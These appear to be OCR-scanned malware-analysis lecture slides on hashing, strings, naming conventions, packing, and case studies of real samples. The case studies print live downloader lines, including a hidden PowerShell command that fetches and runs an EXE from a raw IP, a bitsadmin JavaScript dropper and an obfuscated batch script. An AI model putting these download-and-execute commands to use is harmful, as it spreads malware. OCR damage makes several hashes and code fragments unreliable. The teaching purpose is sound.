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Fingerprinting the Malware -- Cryptographic Hash

OSEELLA, -

DAL T
wluhl

1l

I

|

I




Fingerprinting the Malware

» Fingerprinting involves generating the cryptographic hash values for the
suspect binary based on its file content.

= Same cryptographic hashing algorithms:
— MD5
— SHA1
— SHA256

» Why not just use the file name?

— Ineffective, same malware sample can use different filenames, cryptographic
hash is calculated based on the file content.

» File hash is frequently used as an indicator to share with other security
researchers to help them identify the sample.

Page = 4




Tools and Python code

md5sum
sha256sum
shalsum

import hashlib
import sys

filename = sys.argv[1]

content = open(filename, "rb").read()
print hashlib.md5(content).hexdigest()
print hashlib.sha256(content).hexdigest()
print hashlib.shal(content).hexdigest()
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* Finding Strings [
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A string in a program is a sequence of characters such as “the.”

A program contains strings if it prints a message, connects to a URL, or copies
a file to a specific location.

Searching through the strings can be a simple way to get hints about the
functionality of a program.

* For example, if the program accesses a URL, then you will see the URL
accessed stored as a string in the program.

You can use the Strings program to search an executable for strings, which are
typically stored in either ASCII or Unicode format.

[1]. Practical Malware Analysis, page 11



Static analysis (myhack.dll)

C:sWork>strings.exe myhack.dll_

_nextafter

index.html

http: v _naver.comsindex.html

<myhack.d1ll> Injection?t? — CS8C 497583 — 5i Chen
QI

QI

BOOL WINAPI D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
HANDLE hThread = NULL;

g_hMod = (HMODULE)hinstDLL;

switch( fdwReason )

{

case DLL_PROCESS_ATTACH :
OutputDebugString(L"<myhack.dll> Injection!!! —— CSC 497/583 —-- Dr. Chen");
hThread = CreateThread(NULL, @, ThreadProc, NULL, ©, NULL);
CloseHandle(hThread);
break;

}

return TRUE;
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Static analysis (myhack.dll)
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Sometimes the strings detected by the
Strings program are not actual strings.
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strings in Linux and flare-floss

1 * FireEye Labs Obfuscated String Solver

FI I] SS — Many malware authors evade heuristic detections by obfuscating only key

5y portions of an executable

» These portions are strings and resources used to configure domains,
files, and other artifacts of an infection

— The FireEye Labs Obfuscated String Solver (FLOSS) uses advanced statit
analysis techniques to automatically deobfuscate strings from malware

t)|r]€1r|€355_ root@localhost ./floss a99c01d5748b1bfd203fc1763e6612e8
FLOSS static ASCII strings
IThis program cannot be run in DOS mode.
Rich
.text
“.rdata
@.data

uTVwWhA7@
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tAVWP
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Four-Part Naming Convention




Introduction to Four-Part Naming Convention

= Four-Part Naming Convention
e Different antivirus vendors use their own naming methods.

* The Four-Part Naming Convention is the most rigorous and accurately reflects the
nature of the malicious program.

* Naming structure:
Type of Malware . Target System Type . Malware Family Name . Variant Number

Part Description Examples

Virus, Trojan, Trojan-

1. Type of Indicates the category of the malicious )
Downloader, Exploit, Adware,
Malware program.
etc.
2. Target Specifies the operating system and Win32, Win64, Android, Linux,
System Type architecture the malware targets. etc.
3. Malware The name of the malware family, o
. ) Setiri, Agent, Emotet, etc.
Family Name determined by analysts.
4. Variant Identifies the specific variant within the
a, b,c, ..,z aa, ab, etc.
Number family (e.g., a, b, ..., z, aa, ab).
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Four-Part Naming Convention

" Example 1: UEJELRWVILEPRTNdd(Re

* Type of Malware: Trojan
e Target System Type: Win32 (32-bit Windows)
* Malware Family Name: Setiri

e Variant Number: b (second variant of the Setiri family)

= Interpretation:
This is a Trojan designed to run on 32-bit Windows, belonging to
the Setiri family, and is the second variant of this family.

Part Description Examples

Virus, Trojan, Trojan-

1. Type of Indicates the category of the malicious )
Downloader, Exploit, Adware,
Malware program.
etc.
2. Target Specifies the operating system and Win32, Win64, Android, Linux,
System Type architecture the malware targets. etc.
3. Malware The name of the malware family, o
. Setiri, Agent, Emotet, etc.
Family Name determined by analysts.
4. Variant Identifies the specific variant within the

a,b,c, .. z aa, ab, etc.
Page = 12 Number family (e.g., a, b, ..., z, aa, ab).




Four-Part Naming Convention

" Example 1: UEJELRWVILEPRTNdd(Re

* Type of Malware: Trojan
e Target System Type: Win32 (32-bit Windows)
* Malware Family Name: Setiri

e Variant Number: b (second variant of the Setiri family)

= Interpretation:
This is a Trojan designed to run on 32-bit Windows, belonging to
the Setiri family, and is the second variant of this family.

Part Description Examples

Virus, Trojan, Trojan-

1. Type of Indicates the category of the malicious )
Downloader, Exploit, Adware,
Malware program.
etc.
2. Target Specifies the operating system and Win32, Win64, Android, Linux,
System Type architecture the malware targets. etc.
3. Malware The name of the malware family, o
. Setiri, Agent, Emotet, etc.
Family Name determined by analysts.
4. Variant Identifies the specific variant within the

a,b,c, .. z aa, ab, etc.
Page = 13 Number family (e.g., a, b, ..., z, aa, ab).




Four-Part Naming Convention

= Example 2: not-a-virus: ACETTIRNTIEPNAN-(-T0] ¥

* Type of Malware: Adware (not a traditional malicious program)
e Target System Type: Win32 (32-bit Windows)
* Malware Family Name: Agent

e Variant Number: z (26th variant of the Agent family)

= Interpretation:
This is an Adware program (not a traditional virus or Trojan) designed to run
on 32-bit Windows, belonging to the Agent family, and is the 26th variant of
this family.

Part Description Examples

Virus, Trojan, Trojan-

1. Type of Indicates the category of the malicious )
Downloader, Exploit, Adware,
Malware program.
etc.
2. Target Specifies the operating system and Win32, Win64, Android, Linux,
System Type architecture the malware targets. etc.
3. Malware The name of the malware family, o
. Setiri, Agent, Emotet, etc.
Family Name determined by analysts.
4. Variant Identifies the specific variant within the

a,b,c, .. z aa, ab, etc.
Page = 14 Number family (e.g., a, b, ..., z, aa, ab).




Real-world Case Study




0Ocddd8c2084adb75689b5855a70cc4a8

(Trojan-Downloader. Powershell. Agent.a)

Ocddd8c2084adb75689b5855a70ccdal 0 000000007Hiew 8. 43 (c)SEN
powershell. exe -noe -nol -nop -noni -w Hidden -ex Bypass -c¢ (New-Object System Net.WebClient).DownloadFile( http://188.



Ocddd8c2084adh75689b5855a70cc4a8

powershell.exe -noe -nol -nop -noni -w Hidden -ex Bypass -c (New-Object System.Net.WebClient)
.DownloadFile('http://188.120.250.154/7766.exe', '%Temp%\EUKYZG.pif'); (New-Object -com Shell.
Application).ShellExecute('%Temp%\EUKYZG.pif');

= Using Vim to Analyze the File
* Key Findings:

e The file is identified as a PowerShell program.
* The presence of "Hidden" indicates it runs in hidden mode.

* The program downloads an EXE file from a website, saves it in the temporary
folder, and changes its extension to .pif before execution.

= Suspicious Behaviors:

 Hidden execution.

* Downloading and modifying file extensions.

= Conclusion: These behaviors are highly suspicious and not typical of normal
programs, indicating it is likely malicious.
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44dcace0cfa9c0f6bel1965841bc11410

(Downloader. JS. Agent.a)

———————— 00000000%Hiew 8. 43 (c)SEN

44dcacelcfa%:c0f6bel965841bc11410
var lildz = new ActiveXObject(”shell.application”);
var am = Strlnﬂ fromCharCode ( 99, 109, 100, 46, 101)
var kk = “ h't tp://ww. Slnakhat ibi. ¢ on6121016 e xe %appdata%\keos exe

1ildz. ShellExecute (am+“xe”,” /¢ bitsadmin

&start %appdata%\keog;ex?” .
/tr an sfer my job /do wnload /prio rity hi gh”+kk, , open ,0);




dddcace0ctadcithe 0658 lnel A0 [ARY /===sss 000000007Hi ew 8. 43 (c) SEN

111'1:. _hHllE xecute (2 ¥e , /¢ bitsadmin y job /do mln ad | 11111 111'_, g de. %, 7 opeani -, 0F;

= Key Findings:
1.The presence of var indicates it is a JavaScript script.

2.A URL is found in the third line, but it is obfuscated:

1. Characters like http, com, and exe are separated by angle brackets (< >).
3.Similar obfuscation is observed in the fourth line.

= Suspicious Behavior:

* Obfuscation of URLs is not typical in legitimate programs.

* This strongly suggests the script is malicious.
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dddcace0ctadcithe 0658 lnel A0 [ARY /===sss 000000007Hi ew 8. 43 (c) SEN

111'1:. _hHllE xecute (2 ¥e , /¢ bitsadmin y job /do mln ad | 11111 111, g de. %, 7 opeani -, 0F;

= Additional Steps for Confirmation:

1.Download and analyze the program from the obfuscated URL.

2.If the downloaded program is confirmed as malicious:
1. Blacklist the URL.

2. Blacklist the downloaded program.

= Why This Matters:

* Ensures a complete analysis process.

* Prevents further harm by blocking all related malicious components.
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= Classification Using Four-Part Naming Convention
— Four-Part Naming Structure:

1. Type of Malware: Trojan-Downloader (downloads additional malicious files).
2. Target System Type: JS (JavaScript).

3. Malware Family Name: Agent (family name assigned by the analyst).

4

. Variant Number: a (first variant of this family).

— Final Classification:
Trojan-Downloader.JS.Agent.a
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84f1fa3c698915b91257706d1ed4e3f0e

(Trojan.BAT.Agent.a)

84f1fa3ch698915p91257706d1ede3f0e 000000007Hiew 8. 43 (c)SEN
lecho off

cHFH_DTTU_GSG_Fm] jFPROqzdycQAzViv fDWRa%a%FH_DJTJU_GSG_F jFujOkkO0NcLovIGAGoYrZUcn iM% 1%FH _DJJU_GSG_FHTVGAEtZSPelcCCyvWHZI N
_GSG_Fy]ZdHGKQCZF zIECPEodzsI dW fBeyio%c%FH_DTJU_GSG_FG julFwEgnuBfnQzZi qjU%h%FH_DJTU _GSG_FDO1uCKlvEGzVajguDVoY%c%FH DJJU_
cWFH _DTTU_GSG_FEGyLNNTmAfTNGYWhwE fhCLBhF cheNb%a%FH_DJTTU_GSG_FA1XNgfEIVAxryMNNxNnvanLufdWqg%1%FH_DJJU_GSG_FRbiwBmWutJshu
EBIrtedYGKAydReSgystVlp% %FH_DJJU_GSG_FkufGHcpMDciTVrMxhatFc%s%FH_DITTU_GSG_FxPFzIvHkurbHUmZNrXxLd%e%FH_DJJU_GSG_FJTIADT



841f1fa3c698915b91257706d1e4e3f0e

vim 84111a3c698915b91257706d1ede3f0e L

Becho off

c%FH_DJJU_GSG_FmJjFPRQqgdycQAzVMvTfDWRo%a%FH_DJJU_GSG_FjFujOkk00McLovIGAGoYrZUcnjM%L%FH_DJJU_GSG_FHTVGAEtZSPwMcCCyWHZIMwWDFES1%FH_DJJU_GSG_FEBiBBlqGBpzjWbYdAUmtssHjkG% %FH_DJJU_GSG_FkfaX0iEDW
PZJ1PnBgVIOwkne FHﬁDJJUﬁGSGﬁFnBIuchzquBcEPVmuugN“ %FH_DJJU_GSG FTqukLHnwprCORFmFZAOngfQNUS%sBFH DJJU_GSG FmTwAAzdrAdyRZPuxdeIwanSIZUsuZ%FH DJJU_GSG chDDzquLVJClgpbrAxV]quanaJau
c%FH_DJJU_GSG_FDwAhPrLrMoBPkmYTFqGtYJKEMQKEt%G%FH_DJJU_GSG_FFmsJfcZXaknGLIsyVcGLvHMriTeu%o%FH_DJJU_GSG_FqcERITeeYmtAIeEYqHXZ% %FH_DJJU_GSG_FyJZdHGKQCZFzIECPEodzsIdWfBcyio%c%FH_DJJU_GSG_FGju
IFwEgnuBFnQzZiqjU%sh%FH_DJJU_GSG_FDO0iuCKlyKGzVajguDVoY%c%FH_DJJU_GSG_FagRkXxCdKUIMurtMouGxwqYZmUz%p%FH_DJJU_GSG_FaoASDpEEiuilopYeIBhu% %FH_DJJU_GSG_FfSUoRXcLzpnGWoqYuTCwqYRixDmxJj%6%FH_DJJU_
GSG_FdYNxUMGuUOMYDJijNkiletlrKBURZzJ%5%FH_DJJU_GSG_FKVOjRrIUbDOGNBIDzQXsJtffamSt0%0%FH_DJJU_GSG_FCfbXyEYSzSmqdagQ0stBgH%0%FH_DJJU_GSG_FprYRxiOhroqQKVFsjrigqD%1%FH_DJJU_GSG_FZefSZaTzzRXuHHMxZHB
tRQYoTiyExI%
c%FH_DJJU_GSG_FXGyLNNImAfYMGYWhwEfhCLBhFcbeNbsa%FH_DJJU_GSG_FAiXNgfEIVAxryMNMxNnvanLuYdWqg®sl%sFH_DJJU_GSG_FRbiwBmWutJshuzLkSqPjqfssIfGzYn%1%FH_DJJIU_GSG_FweEwywOAHLTFSvQSnKIRPXRHL% %FH_DJJU_G
SG_FKqgZtBhimBXDUYgftDOTBFC%:%FH_DJJU_GSG_FxSWnrZiDEZYbGAZRDzzV%z%FH_DJJU_GSG_FrHOBDQsrvDKsAtzhwGNshdbMRr%R%FH_DJJU_GSG_FxVvukcuRAPfjRPHWNLgFjtiY%m%FH_DJJU_GSG_FULFaKRQIFLyEYIgQVVtWUnL11FIiC
9f%G%FH_DJJU_GSG_FmuYctzMTQnbpZqhSNcIvA%D%FH_DJJU_GSG_FrLgIvmPUUeUAVXIUTzIz%a%FH_DJJU_GSG_FaFtafI1XERVgciShzIwwnybk%H%FH_DJJU_GSG_FjJYKBIrtedYGKAydReSgysvQVlp% %FH_DJJU_GSG_FkufGHcpMDciTYrM
xhatFc%s%FH_DJJU_GSG_FxPFzIvHkurbHUmZNrXxLd%e%FH_DJJU_GSG_FJIADTVZAUSPCHyvDGqevEdPBaje0%t%FH_DJJU_GSG_FBhDDiLwMzTfYYFnf0GnnNb% %FH_DJJU_GSG_FodngqRMGynANJoVgPbTcVyugVLND%c%FH_DJJU_GSG_FHGKPv
xEepqOyCFNjAqpQQw%sx%FH_DJJU_GSG_FQCIDLmYNwVwwRhmhQrgwsZ%FH_DJJU_GSG_FgpiFpnCohnubmnfGNKWyZfBjT%c%FH_DJJU_GSG_FDTOBsXzhJOYhiladWFQiBoWfmNnBYw%V%FH_DJJU_GSG_FuKVLNewsYyQWfkWUGbMYtYRLd%r%FH_D
JJIU_GSG_FFjProVUkBjkbwQlbplHawZXh%c%FH_DJJU_GSG_FBVezpjJwNknskWcvboHlKbwnzbQjl%
"%FH_DJJU_GSG_FCnxereSZqMRQBKaKMxJAmNaiZMbylM%Z%FH_DJJU_GSG_FJzEjEgciZoEMuRRdpbDSwx%m%FH_DJJU_GSG_FQiKMmpTUNgJanCsrDDWg%Ll%FH_DJJU_GSG_FxXFLEZrpnPPLTirZkJyDRmdUne%P%FH_DJJU_GSG_FMKrXtRopKxxTp
CGrlqdRoE%Z%FH_DJJU_GSG_FFoMdJSxofBgaAucTAQKNBhgQdai%E%FH_DJJU_GSG_FxmnGKeIQUOqNPJICwvLqBzXRMn%Z%FH_DJJU_GSG_FfCyBMqUeuMSRwWKkwonywgBYLldQUJgX%Z%FH_DJJU_GSG_FbSxrlExrQrdudwMvZUvdDzNBghmS'"%FH_D
JJU_GSG_FvOxbotGfJOEuZwsJrbT0eSGLN%
c%FH_DJJU_GSG_FGvrXfgZeoWCyUxBHAxvGZ%a%FH_DJJU_GSG_FmEawHwqAFXBQawusrRpxbfEqX%1%FH_DJJU_GSG_FXLUJyYTjaHkXcVMHqdsIIVS%1%FH_DJJU_GSG_FoRuOejvrQKKHMKkWpCw0al0% %FH_DJJU_GSG_FCkjaSKQycOmRIcECcfZM
q%:%FH_DJJU_GSG_FFEVSspNnqnS1IKXjPhtNfBmBuXk%z%FH_DJJU_GSG_FGYwBWwDLDBikvhEncEBwawW%R%FH_DJJU_GSG_FLucciiSswOArN1PchaG0c%m%FH_DJJU_GSG_FEhuGXISPVrQZnxvYiktyIvG%G%FH_DJJU_GSG_FMnyRjDpLmQxCRC
20SdUeAhVRes%D%FH_DJJU_GSG_FYjnVSaRvBmewlilUyT1lp%a%FH_DJJU_GSG_FxquWjKAHfYaVIKrzgkNN sFH_DJJU_GSG_FgihFQYIPOGKNFDGfVGOMpGEd® %FH_DJJU_GSG_FuuGuxYQhQiRBAueTdSWETGVgB%s%FH_DJJU_GSG_FpQGfbLn
0TuEUZfitbepazj FH_DJJU_GSG_FlsnndrSnQYHbqsbsIaSkZHCg%t%FH_DJJU_GSG_FzVpzRpdwlEMLpKIDHIgINLbECWs %FH_DJJU_GSG_FXoQnuFtGNaVIttPzqipfPwTYRadl%X%FH_DJJU_GSG_FFTVYCLGDUpOjxNpgGgdoft H_DJ1J
U_GSG FwJVsEDTJ]MmADeanUG:L., %FH_| DJJU GSG FYNEABPShCLEWQmN]erqwu sFH_DJJU_GSG FTnuszcBIQDUGJI‘hRU :LGpH"aa".,FH DJJU GSG FGXNPdKaKz(GODUPIJRCXSlRARHt 5| nFH DJJU_GSG_FxCYmttgovVVmSzsGLAJz%I%FH

= Key Findings:
1.The presence of echo off indicates it is a BAT (Batch) program.

2.The script is poorly written and heavily obfuscated, making it difficult to
understand its purpose.

3.0bfuscation is a common technique used by malicious programs to evade
detection.

= Conclusion: The script's obfuscation and lack of clear functionality strongly
suggest it is malicious.
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9b2293323610cch2af33f977cbh21f45¢c

(Trojan.JS.Agent.b)



b5b98837ede4701a98f1467ab53160fb

(Trojan.JS.Agent.c)

b5b988B37eded701a98f1467ab53160fp  [HRO -——————- 00000000%Hiew 8.43 (c)SEN
function FindProxyForURL (url, host) {
if (shExpMatch(host, “www.google.*”)) return “PROXY 127.0.0.1:
if (shExpMatch(host, “www.bing.com”)) return “PROXY 127.0.0.1

return “DIRECT”:



b5b98837ede4701a98f1467ab53160fb } Bilpl sesseees 000000007Hiew 8. 43 (c)SEN

= Key Findings:
1.The code is clear and readable, making it easy to analyze.

2.The program is designed to redirect user traffic:

1. If the user attempts to access Google or Bing, the program redirects them
to 127.0.0.1 (localhost).

3.This behavior blocks normal access to these search engines.

= Conclusion: The program’s intentional redirection of user traffic is a clear
indicator of malicious behavior.
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bc70dba947cd5dfofd750353da3faed’

(Trojan.VBS.Agent.a)

be70dba847cdbdf9£d750353dasfaed? 0 00000000%Hiew 8. 43 (c)SEN
dim gROBUJ1zJOFTBowEYhjsETHBYoTJGYgzLui, FCejzVAIM1SfIDBAfsNYRvnIWCcbQieSzID, sFimineVueUEPBGHNEBERwBHWqlGHbblmahw
Sk NITikXjMdIwIbTtuRkzaMdUIFBHEQwSEoCP
grabujlZJOftboWEyh]SeThby0tJGYqzLuj = “-8827+894648510-8395%-1204+1303+803928/7052+7170-7065+465136/4153%-8192+8308+ 133
50+1380-1271+413999,/40099+1740-1708+7060-6950+7496-7395+7549- 74209+ -8763+8879+0020,/902+5822-5790+4469-4367+-254+37 14905~
8524/5926+335760/4197+261615/2445+3072-2955+-5208+5296+-1899+1978+ 70640,/ 1991+-1792+1859+420408,/5839+40062/607+414585/49



dbfcc7ffadee586e241f8247387b10d6e

(Trojan.JS.Agent.b)

dbfcc7ffadeeb86e24f8247387h10d6e 0000007 17Hiew 8. 43 (c)SEN

ﬁunction 1tznxK (zpRolM¥m)

return “c\x68\x61\x724t"

}
%unction PhrivHE (rHlm)

var gwlol = led(};
gwloi += " @3_1D0" z:RKbf1wH\\ [SXTQ+6 %
gwlloi += ”#EL(VZigO&J#§f>§:|”;.

- Crmim e . - wwis



dee2decebaf53fead3714cfa6e862378

(Trojan.JS.Agent.c)

deeZdecebafb3fead3714cfabel62378 000000027Hiew 8. 43 (c)SEN

function rbM (EK)

" o " o iy ” ” sy iy
var H= "¢ + "h + + "a o+ + 3
e iy iy s ” " iy " .‘ > sy ” ”
var Cpf = - + + v+ + TAT + R
L -~
return H + B pt

}
function uHh(vF)

‘!ar \IJ - : !1‘1."/#)’! :*_ ."/$%&// i 7 (:l:f::t—, - liolzl—."! j-n."/-‘3456?8!f :’: .0’9: . <:>2@// :‘: !/fx*BCIJ’ -’{: !J'DEFG!/;



4298FI9DDAG63C3C1B1/FEF433C082107A

(Trojan.Win32.Agent.b)




Load 4298F9DDAG3C3C1B17/FEF433C082107A into IDA

® & [

00401028

00401028

00401028

00401028 public start
00401028 start proc near

00401028 push 0 | ; LpModuleName
PP40102A call ds:GetModuleHandleW
00401030 mov ds:dword 42208C, eax

00401035 |call sub 40103B
0040103A retn

0040103A start endp
0040103A

Here, we can observe that after obtaining its own module
handle, the program assigns the return value (stored in eax) to
an address, followed by a call. Let’s follow this call to see what it
does
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4298F9DDAG63C3C1B17/FEF433C082107A

First, let’s jump into the
00401038 . .
00401038 first call to examine its content

0040103B sub _40103B proc near
0040103B pminsw xmm@, xmml
0040103F pminsw xmm3, xmm4
00401043 call sub 40117A
00401048 call sub_4010Eb
0040104D jmp short loc 40106C

® S

0040106C

0040106C loc 40106C:

0040106C push offset LibFileName
00401071 call ds:LoadLibraryA

00401077 push offset ProcName

0040107C push eax ; hModule
0040107D call ds:GetProcAddress
00401083 call ds:GetLastError

00401089 add eax, offset unk 422011

AN ANANANAT - B |
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4298F9DDAG63C3C1B17/FEF433C082107A

® S =

0040117A

0040117A

0040117A

0040117A sub_40117A proc near

0040117A push 46h ; '@ ; flProtect
0040117C push 3000h ; flAllocationType
00401181 push OFAh ; dwSize
00401186 push 0 ; lpAddress
00401188 call ds:VirtualAlloc

0040118E mov ds:dword 422090, eax
00401193 retn

00401193 sub_40117A endp

00401193

As we can see, the purpose of this call is to allocate memory space
using the VirtualAlloc function. It is reasonable to believe that the
decrypted code will likely be stored here.
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4298F9DDAG63C3C1B17/FEF433C082107A

0401038

00401038

0040103B sub _40103B proc near
0040103B pminsw xmm@, xmml
0040103F pminsw xmm3, xmm4
00401043 call sub 40117A
0040104& call sub_4010E6
0040104D jmp short loc _40106C

® 5=

0040106C

0040106C loc_40106C:

0040106C push offset LibFileName ; "user32.dll"
00401071 call ds:LoadLibraryA

00401077 push offset ProcName ; "user api function”
0040107C push eax ; hModule

0040107D call ds:GetProcAddress

00401083 call ds:GetLastError

00401089 add eax, offset unk 422011

Yo W Na¥. NaVall o - B |

Returning to the previous level, let’s examine the content of the
second call
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® 3 [x]

004010E6

8838%852 In fact, this is a self-protection
004010E6 sub_4010E6 proc near mechanism used by viruses, known
004010E6 mov ebx, ds:[dword 422090 . :

004010EC or dx., OCB26h as obfuscation, or it can also be
994010F1 and eax, ebx understood as a "shell" written by
004010F3 mov edi, ebx . ) o
004010F5 not ax the virus author for their malicious
004010F8 not dx

004010FB mov esi, offset unk 445359 | PrO8ram.

00401100 xor edx, OCBS55h

00401106 and edx, edx

00401108 mov ecx, OFAh

0040110D xor ax, di

00401110 or dx, 1Dh

00401114 rep movsb

00401116 retn

00401116 sub_4010E6 endp

00401116

Here, we can see that operations such as and, not, and xor are
used for decryption. This is something that should not appear in
a normal program, so we can directly flag it as

malicious: Trojan.Win32.Agent.c.
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Packed and Obfuscated Malware

« Malware writers often use packing or obfuscation to make their
files more difficult to detect or analyze.

 Obfuscated programs are ones whose execution the malware
author has attempted to hide.

« Packed programs are a subset of obfuscated programs in which the
malicious program is compressed and cannot be analyzed.

« Both techniques will severely limit your attempts to statically analyze
the malware.

Start

i Start
\ Wrapper Program

Original Executable

(Strings and other Packed Executable
information visible)
(Strings and other
information not
visible)
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Packed and Obfuscated Malware

% PEID v0.95

File: | Cworkimyhack. dl M)
Entrypaint: | 00001412 EP Section: | ,text =]
File Offset: | 00000512 First Bytes: |55,8B,EC,E3 | = |
Linker Info: | 14,16 Subsystem: |Win32 GUI B
Mothing Found *
Mulki Scan Task Wiewer Dptions Abouk | Exit
v Skay on kop 3 | -
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Packers and Cryptos

» ~ upx -o myhack packed.dll myhack.dll
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2018
UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser  Aug 26th 2018
File size | Format

75264 39424  52.38% win32/pe myhack packed.dll

Packed 1 file.
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(Trojan.Win32.Agent.b)




4fafbfd2e560778f11beb8f736e80bb1l

) ® IDA - 4fafbfd2e560778f11beb8f7: JUsersj|q /afafbfd2e560778f11beb8f736e80bb1
=2 " @ a 3 A.CA e DG %03 e No debugger B @ E s =
: I
Library function | Regular function Bl Instruction Data Unexplored External symbol [l Lumina function
T unctions [x @ [aoaview-A  [El0 [3] Hex View-1 x [0l [4] Local Types x B [5] Imports x BB [6] Exports
it ©© 2 6U613650 ! ” "
7 WINMain X, X,X,X) 00613B50 hInstance= dword ptr 8
- 00613B50 hPrevinstance= dword ptr 0Ch
7D I .
B sub_67DCE0 00613850 1pCmdLine= dword ptr 16h
7 sub_67DCEQ 00613B50 nShowCmd= dword ptr 14h
e
_ pus ebp
7 sub_67DF30 00613B51 mov ebp, esp
7 sub_6E8010 00613B53 push ebx
— 00613B54 mov ebx, [ebp+hPrevInstance]
7 Sub_6EB2A0 00613B57 push  esi
7 VerQueryValueW 00613B58 mov esi, [ebp+nShowCmd]
ﬁ'Rep|aceTextW 00613B5B push edi
_ 00613B5C mov edi, [ebp+lpCmdLine]
7 _strstr 00613B5F mov ds:pcbhBuffer, 0
7 sub_7523D0 g
7 start ® <
_[ 00613B69
Line 16 of 90, /start 00613B69 loc_613B69:
r— 00613B69 push eax
Bl — © e 00613B6A push  ds:pcbBuffer
,_1 00613B70 pop ecx
00613B71 pop edx
: 00613B72 imp short $+2 Jump
100.00% (-3,191) (50,64) 00212F50 BB613B50: WinMain(x,x,x,x) (Synchronized with Hex View-1)

OllyDbg - 4fafbfd2e560778f11beb8f736e80bb1.exe - [CPU - main thread, module 4fafbfd2e560778f11bebBf736e80bb]

[€] Fie view Debug Trace

BT S|
48 20

Optiors  Windows  Help

] ]l ] e =] ] 8]/ u] £

IDA jump to 0Xx00613B50, which is the :
location of the main function. This is

where the actual code of the sample is S et

executed and i the focus of our analysis, |- fiéem S

EBP=0012FC94 (current registers)

Address ‘ Hex dump
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® & =
00613B98 cmp word ptr [ebp+nShowCmd+2], @ ; Compare Two Operands
00613B9D jnz short loc_613BA6 ; Jump if Not Zero (ZF=0)
v ! v
P 5 [ ® & =
JO613B9F call loc_53FA40 ; Call Procedure||00613BA6
J0613BA4 jmp short loc_613BB5 Jump 00613BA6 loc_613BA6:
00613BA6 mov eax, [ebpthInstance]
00613BA9 push esi
00613BAA push edi
00613BAB push ebx
00613BACpush ea
00613BAD, call sub_6E8010 ; Call dur
00613BB2~aud espy—1oh ; Add

In this main function, we primarily analyze the call instructions. For
example, let’s look at the call located at 0X00613BAD.
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OO6E8010 sub esp, 834h Integer Subtraction
OO6E8016 push ebx

006E8017 xor ebx, ebx Logical Exclusive OR
OO6E8019 push esi

OO6E8O1A mov [esp+83Ch+var_1]1, bl

O06E8021 mov [esp+83Ch+var_B], bl

O06E8028 mov [esp+83Ch+var_2], 6Ch ; '1'

O06E8030 call ds:GetEnvironmentStrings Indirect Call Near Procedure
O06E8036 mov ds:dword_76046C, eax

OO6E803B call ds:GetProcessHeap ; Indirect Call Near Procedure
O06E8041 mov ds:dword_7603D0, eax

006E8046 mov [esp+83Ch+var_C], 72h ; 'r'

OO6E8BO4E call sub_46B1C0O ; Call Procedure
OO6E8053 mov al, [esp+83Ch+var_2]

OO6E8O5A mov dl, [esp+83Ch+var_C]

006E8061 mov cl, 73h ; 's'

O06E8063 push offset Buffer ; 1lpString2

O06E8068 push offset Buffer ; LpStringl

OO6E806D mov [esp+844h+var_11], cl

O06E8074 mov [esp+844h+var 3], al

OO6E807B mov [esp+844h+var_4], 64h ; 'd'

OO6E8083 mov [espt+844h+var F], dl

OO6E8O8A mov [esp+844h+var_E], cl

OO6E8091 mov [esp+844h+var 5], 2Eh ; ".'

O06E8099 mov [espt+844h+var_ 6], al

AA6FRAAM mov [esn+844h+var 71 al

" |n this code, we can see many instances of single characters being moved into

memory. As mentioned earlier, this is highly suspicious.
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©OO6E81EQ
©O6E81E7
©OO6E81EB
OO6E81F2
©OO6E81F9
OO6E8I1FE
©006E8201
0O6E8208
OO6E820F
©06E8210
006E8211
©06E8212
OO6E821A
©06E8222
©06E8228
OO6E822E
©OO6E8233
©06E823B
©006E8243
©O6E824A
©OO6E824F
©06E8256
©06E825D
©006E8261
OO6E8268
OO6E8269

faVaWall nll o le Yar Fal

mov
mov
mov
mov
mov
add
mov
mov
push
push
push
mov
mov
mov
mov
mov
mov
mov
mov
call
mov
mov
lea
mov
push
mov

cl, [esp+83Ch+var_ (]
[esp+83Ch+var_834], edx
dl, [esp+83Ch+var_11]
[esp+83Ch+var_E], dl
edx, offset dword 53FA20
edx, 10h ; Add
[esp+83Ch+var_F], cl

cl, [esp+83Ch+var_2]

edx :int
eax ;int
ebx : nIndex

[esp+848h+var_82(C], offset loc_4010B0O
[esp+848h+var 808], offset unk 756180
ds:pcbBuffer, ebx

ds:dword_759350, ebx

ds:dword_7609B8, eax
[espt+848h+var_4], 64h ; 'd’
[esp+848h+var_51, 2Eh ; "'
[esp+848h+var 6], cl

sub_67DF30 ; Call Procedure

al, [esp+d48h+var_2]

cl, [esp+848h+var_4]

edx, [esp+848h+var_834] ; Load Effective Address
[esp+848h+var_7]1, al

edx

[esp+84Ch+var_8]1, cl

- e 1 Y A/, . L =7 Al - I a1

Continuing further, there is another call at 0OXOO6E824A




4fafbfd2e560778f11beb8f736e80bb1l

® & &

0067DF63 mov eax, ds:dword_760470

0067DF68 mov ecx, offset dword 46B370

0067DF6D add ecx, eax ; Add

0067DF6F add eax, ebx , Add

0067DF71 mov dl, [ecx+ebx]

0067DF74 mov cl, byte ptr [esp+10h+arg 8]

0067DF78 mov [eaxtesi], dl

O06/DF7B mov eax, ds:dword 760470

0067DF80 add eax, ebx ; Add

0067DF82 add eax, esi ; Add

0067DF84 mov dl, [eax]

0067DF86 xor dl, cl , Logical Exclusive OR
OO067DF88 inc ebx ; Increment by 1
0067DF89 cmp ebx, 67Dh ; Compare Two Operands
0067DF8F mov [eax], dl

0067DF91 jg short loc _67DFF7 ; Jump if Greater (ZF=0 & SF=0F)

Page ¥

Starting from OX0067DF63, this is actually a decryption process. Why do
we say that? First, at OXO067DFG68, there is a mov assignment statement,
which assigns the content at address 0X0046B370 to ecx. Let’s take a
look at the content at this address




4fafbfd2e560778f11beb8f736e80bb1l

Data Unexplored External symbol Lumina function

>< @ Hex View-1 x [0 Local Types x BB Imports X Exp
0046B36A sub_46B1CO endp
0046B36A
oYk LY S e e e e LT TR
0046B36B align 10h
0046B370 dword _46B370 dd 4D3217F0h, ©0D12B6A4Ah, 8FC96873h, 1372219Dh, 452AC12Ch
0046B370
0046B384 dd 784BCAE3nh, 19B671ADh, 42F911CDh, 0OD29C17A9h, @F6F3362Dh
0046B398 dd OE7BD5C2Ch, OF8287871h, 8B55CCA5h, OA4AQED52h, ODFCS54ECh
0046B3AC dd OD7AA7171h, 1EGDS5F7Dh, 5F20F47Ah, 4DB5D5E6h, QFE92DFD8h
0046B3CO dd 30A31FC3nh, 6F7D4BA6h, 924F4A50h, QAB8DAOC2h, 47DESCAEh
